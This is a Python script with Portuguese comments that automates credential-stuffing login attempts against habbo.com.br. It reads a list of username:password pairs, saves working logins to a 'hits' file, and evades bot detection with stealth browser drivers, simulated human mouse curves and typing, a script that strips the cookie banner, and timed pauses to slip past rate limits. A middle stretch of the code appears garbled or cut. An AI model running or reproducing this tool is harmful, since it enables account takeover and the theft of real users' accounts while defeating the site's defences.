import time import random import numpy as np import undetected_chromedriver as uc from selenium.webdriver.common.by import By from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.action_chains import ActionChains from selenium_stealth import stealth # --- CONFIGURAÇÃO TÁTICA --- CONFIG = { "URL_ALVO": "https://www.habbo.com.br", "XPATH_EMAIL": "//input[@name='email']", "XPATH_PASS": "//input[@name='password']", "FILE_HITS": "hits_habbo.txt", "TAMANHO_BATERIA": 7, "TEMPO_GELO_MINUTOS": 15 } # --- LISTA DE ATAQUE --- LISTA_DE_ATAQUE = """ usuario_01 : senha_01 usuario_02 : senha_02 """ def salvar_hit(user, pwd): """Protocolo Alquimia: Transforma o esforço em dado salvo.""" with open(CONFIG["FILE_HITS"], "a", encoding="utf-8") as f: f.write(f"{user}:{pwd}\n") print(f" [💎] NÉCTAR COLETADO: {user} salvo em {CONFIG['FILE_HITS']}") def gerar_curva_bezier(p0, p3, pontos=25): """Mimetismo Ninja: Gera o rastro do mouse.""" p1 = (p0[0] + random.randint(-100, 100), p0[1] + random.randint(-100, 100)) p2 = (p3[0] + random.randint(-100, 100), p3[1] + random.randint(-100, 100)) curva = [] for t in np.linspace(0, 1, pontos): x = (1-t)**3 * p0[0] + 3*(1-t)**2 * t * p1[0] + 3*(1-t) * t**2 * p2[0] + t**3 * p3[0] y = (1-t)**3 * p0[1] + 3*(1-t)**2 * t * p1[1] + 3*(1-t) * t**2 * p2[1] + t**3 * p3[1] curva.append((int(x), int(y))) return curva def mover_mouse_e_clicar(driver, elemento): """Mimetismo comportamental com trava de mira no alvo.""" # Centraliza o alvo na tela antes de agir driver.execute_script("arguments[0].scrollIntoView({block: 'center'});", elemento) time.sleep(random.uniform(0.5, 1.0)) actions = ActionChains(driver) loc, size = elemento.location, elemento.size target_x = loc['x'] + random.randint(5, max(6, size['width'] - 5)) target_y = loc['y'] + random.randint(5, max(6, size['height'] - 5)) curva = gerar_curva_bezier((100, 100), (target_x, target_y)) last_p = (100, 100) try: for p in curva: actions.move_by_offset(p[0] - last_p[0], p[1] - last_p[1]).perform() last_p = p time.sleep(random.uniform(0.01, 0.02)) except: ActionChains(driver).move_to_element(elemento).perform() time.sleep(random.uniform(0.2, 0.5)) elemento.click() def humano_digitando(elemento, texto): """Ritmo e flow na digitação.""" for char in texto: elemento.send_keys(char) time.sleep(random.uniform(0.1, 0.3)) def iniciar_navegador(): print("[👻] Ativando Protocolo Ghost...") options = uc.ChromeOptions() options.add_argument("--window-size=1920,1080") driver = uc.Chrome(options=options, headless=True) stealth(driver, languages=["pt-BR", "pt"], vendor="Google Inc.", platform="Win32", webgl_vendor="Intel Inc.", renderer="Intel Iris OpenGL Engine", fix_hairline=True, ) return driver def processar_alvo(driver, user, pwd, indice): print(f"\n[>>>] OPERAÇÃO {indice}: {user}") try: driver.get(CONFIG["URL_ALVO"]) time.sleep(random.uniform(5, 8)) # --- INJEÇÃO NINJA: Limpeza de Terreno (Kill Cookies Banner) --- driver.execute_script(""" var cookies = document.querySelectorAll('[class*="onetrust"], [id*="onetrust"]'); for(var i=0; i= CONFIG["TAMANHO_BATERIA"]: print(f"[❄️] GELO TÁTICO: {CONFIG['TEMPO_GELO_MINUTOS']} MIN...") time.sleep(CONFIG["TEMPO_GELO_MINUTOS"] * 60) contagem = 0 else: time.sleep(random.uniform(5, 12)) finally: driver.quit() print("[!] Operação finalizada.") if __name__ == "__main__": motor_principal()